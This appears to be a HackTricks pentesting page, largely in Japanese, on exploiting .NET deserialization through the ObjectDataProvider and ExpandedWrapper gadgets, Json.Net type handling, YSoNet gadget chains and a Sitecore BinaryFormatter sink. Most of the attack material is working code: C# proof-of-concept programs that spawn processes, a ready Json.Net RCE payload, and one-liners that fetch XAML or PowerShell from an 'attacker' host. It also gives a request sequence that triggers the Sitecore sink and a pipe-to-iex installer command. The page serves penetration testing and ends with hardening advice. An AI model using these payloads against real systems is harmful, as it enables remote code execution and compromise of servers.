16 KiB
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
この投稿は、gadget ObjectDataProvider がどのように悪用されて RCE を取得するか、そして Serialization ライブラリ Json.Net と xmlSerializer がその gadget とともにどのように悪用できるかを理解することに捧げられています。
ObjectDataProvider Gadget
ドキュメントによると:the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
うーん、説明は分かりにくいので、このクラスの何がそんなに興味深いのか見ていきましょう:このクラスは任意のオブジェクトをラップし、MethodParameters を使って任意のパラメータを設定し、そして MethodName を使って、その任意のオブジェクトの任意の関数をそのパラメータで呼び出すことを可能にします。
つまり、任意の オブジェクト はデシリアライズ中にパラメータ付きで関数を実行することになります。
How is this possible
System.Windows.Data 名前空間は、C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
にある PresentationFramework.dll 内にあり、ObjectDataProvider が定義および実装されている場所です。
dnSpy を使えば、興味のあるクラスの コードを調査できます。下の画像では PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name のコードを見ています。
ご覧の通り、MethodName
が設定されると base.Refresh()
が呼ばれます。ではこれが何をするのか見てみましょう:
次に this.BeginQuery()
が何をするのか見ていきます。BeginQuery
は ObjectDataProvider
によってオーバーライドされており、以下のようになっています:
コードの最後で this.QueryWorke(null)
を呼んでいることに注意してください。これが何を実行するのか見てみましょう:
これは QueryWorker
関数の完全なコードではありませんが、興味深い部分を示しています:コードは this.InvokeMethodOnInstance(out ex);
を呼び出しており、ここがメソッドが実行される行です。
もし単に MethodName を設定するだけでそれが実行されることを確認したいなら、以下のコードを実行できます:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
前述のエクスプロイトを使用すると、オブジェクトが ObjectDataProvider インスタンスとしてデシリアライズされる場合があります(例えば DotNetNuke vuln では、XmlSerializer を使用してオブジェクトが GetType
によりデシリアライズされました)。その場合、ObjectDataProvider インスタンス内にラップされているオブジェクトの型(例えば Process
)について情報を持たないことになります。You can find more information about the DotNetNuke vuln here.
このクラスは、特定のインスタンス内にカプセル化されているオブジェクトの型を指定することを可能にします。したがって、このクラスはソースオブジェクト(ObjectDataProvider)を新しいオブジェクト型にカプセル化し、必要なプロパティ(ObjectDataProvider.MethodName と ObjectDataProvider.MethodParameters)を提供するために使用できます。
これは前述のケースで非常に有用です。なぜなら、ObjectDataProvider を ExpandedWrapper インスタンス内にラップでき、デシリアライズ時にこのクラスが OjectDataProvider オブジェクトを生成して、MethodName で指定された関数を実行するからです。
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page には、このライブラリがJson.NETの強力なJSONシリアライザで任意の.NETオブジェクトをシリアライズおよびデシリアライズすることを可能にすると記載されています。したがって、もしObjectDataProvider gadgetをデシリアライズできれば、オブジェクトをデシリアライズするだけでRCEを引き起こすことができます。
Json.Net の例
まず、このライブラリを使ってオブジェクトをシリアライズ/デシリアライズする方法の例を見てみましょう:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Netの悪用
ysoserial.net を使用してエクスプロイトを作成しました:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
このコードでは test the exploit を実行して試すことができます。実行すると calc が起動するのが確認できます:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
高度な .NET ガジェットチェーン (YSoNet & ysoserial.net)
上で紹介した ObjectDataProvider + ExpandedWrapper テクニックは、アプリケーションが unsafe .NET deserialization を行う際に悪用可能な多数のガジェットチェーンのうちの一つに過ぎません。Modern red-team tooling である YSoNet(および旧来の ysoserial.net)は、数十種類のガジェットとシリアライザ形式向けに、使える形の悪意あるオブジェクトグラフを自動生成します。
以下は YSoNet に同梱されている最も有用なチェーンを簡潔にまとめたリファレンスで、動作概要とペイロード生成コマンド例を示します。
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | DelegateSerializationHolder レコードを破損させ、実体化されたときにデリゲートが攻撃者指定の任意のメソッド(例: Process.Start )を指すようにする |
BinaryFormatter , SoapFormatter , NetDataContractSerializer |
ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector を悪用して bypass .NET ≥4.8 type-filtering し、指定クラスのコンストラクタを直接呼び出すか、C# ファイルを即座にコンパイルする |
BinaryFormatter , NetDataContractSerializer , LosFormatter |
ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | System.Data.DataSet のレガシーな XML 表現を利用し、<ColumnMapping> / <DataType> フィールドを埋めることで任意型をインスタンス化(必要に応じて --spoofedAssembly でアセンブリを偽装) |
LosFormatter , BinaryFormatter , XmlSerializer |
ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | WPF 対応ランタイム(> .NET 5)上でプロパティの getter を連鎖させ System.CodeDom.Compiler.CompilerResults に到達し、-c で与えた DLL をコンパイルまたはロードする |
Json.NET typeless, MessagePack typeless |
ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | WPF の System.Windows.Data.ObjectDataProvider を使い、制御された引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートホストするための便利な --xamlurl 変種を追加している |
BinaryFormatter , Json.NET , XAML , etc. |
ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | ScriptBlock を System.Management.Automation.PSObject に埋め込み、PowerShell がオブジェクトをデシリアライズするときに実行させる |
PowerShell remoting, BinaryFormatter |
ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
Tip
すべてのペイロードはデフォルトで written to stdout に出力されるため、ViewState ジェネレータ、base64 エンコーダ、HTTP クライアント等の他ツールへのパイプが簡単に行えます。
Building / Installing YSoNet
If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
検出とハードニング
- 検出:
w3wp.exe
、PowerShell.exe
、またはユーザ提供データをデシリアライズする任意のプロセス(例:MessagePack
,Json.NET
)の予期しない子プロセスを監視する。 - レガシーの
BinaryFormatter
/NetDataContractSerializer
を除去できない場合は、TypeFilterLevel
= Full、カスタムSurrogateSelector
、SerializationBinder
等を用いて type-filtering を有効化し強制する。 - 可能な限り、ホワイトリストベースのコンバーターを用いて
System.Text.Json
またはDataContractJsonSerializer
に移行する。 - Web プロセスで不要な場合は、
PresentationFramework
、System.Workflow.*
などの危険な WPF アセンブリが読み込まれないようブロックする。
Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
認証済みの Sitecore XP Content Editor フローで到達可能な実用的な .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
はnew BinaryFormatter().Deserialize(...)
をラップしている。 - トリガーパス: パイプライン
convertToRuntimeHtml
→ConvertWebControls
は、id="{iframeId}_inner"
を持つ兄弟要素を検索し、そのvalue
属性を base64 エンコードされたシリアライズ済みデータとして読み取る。結果は文字列にキャストされ、HTML に挿入される。
最小限のエンドツーエンド(認証済み):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: デシリアライズ中に副作用が実行される、string を返す任意の BinaryFormatter チェーン。payloads を生成するには YSoNet/ysoserial.net を参照してください。
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}
参考資料
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
{{#include ../../banners/hacktricks-training.md}}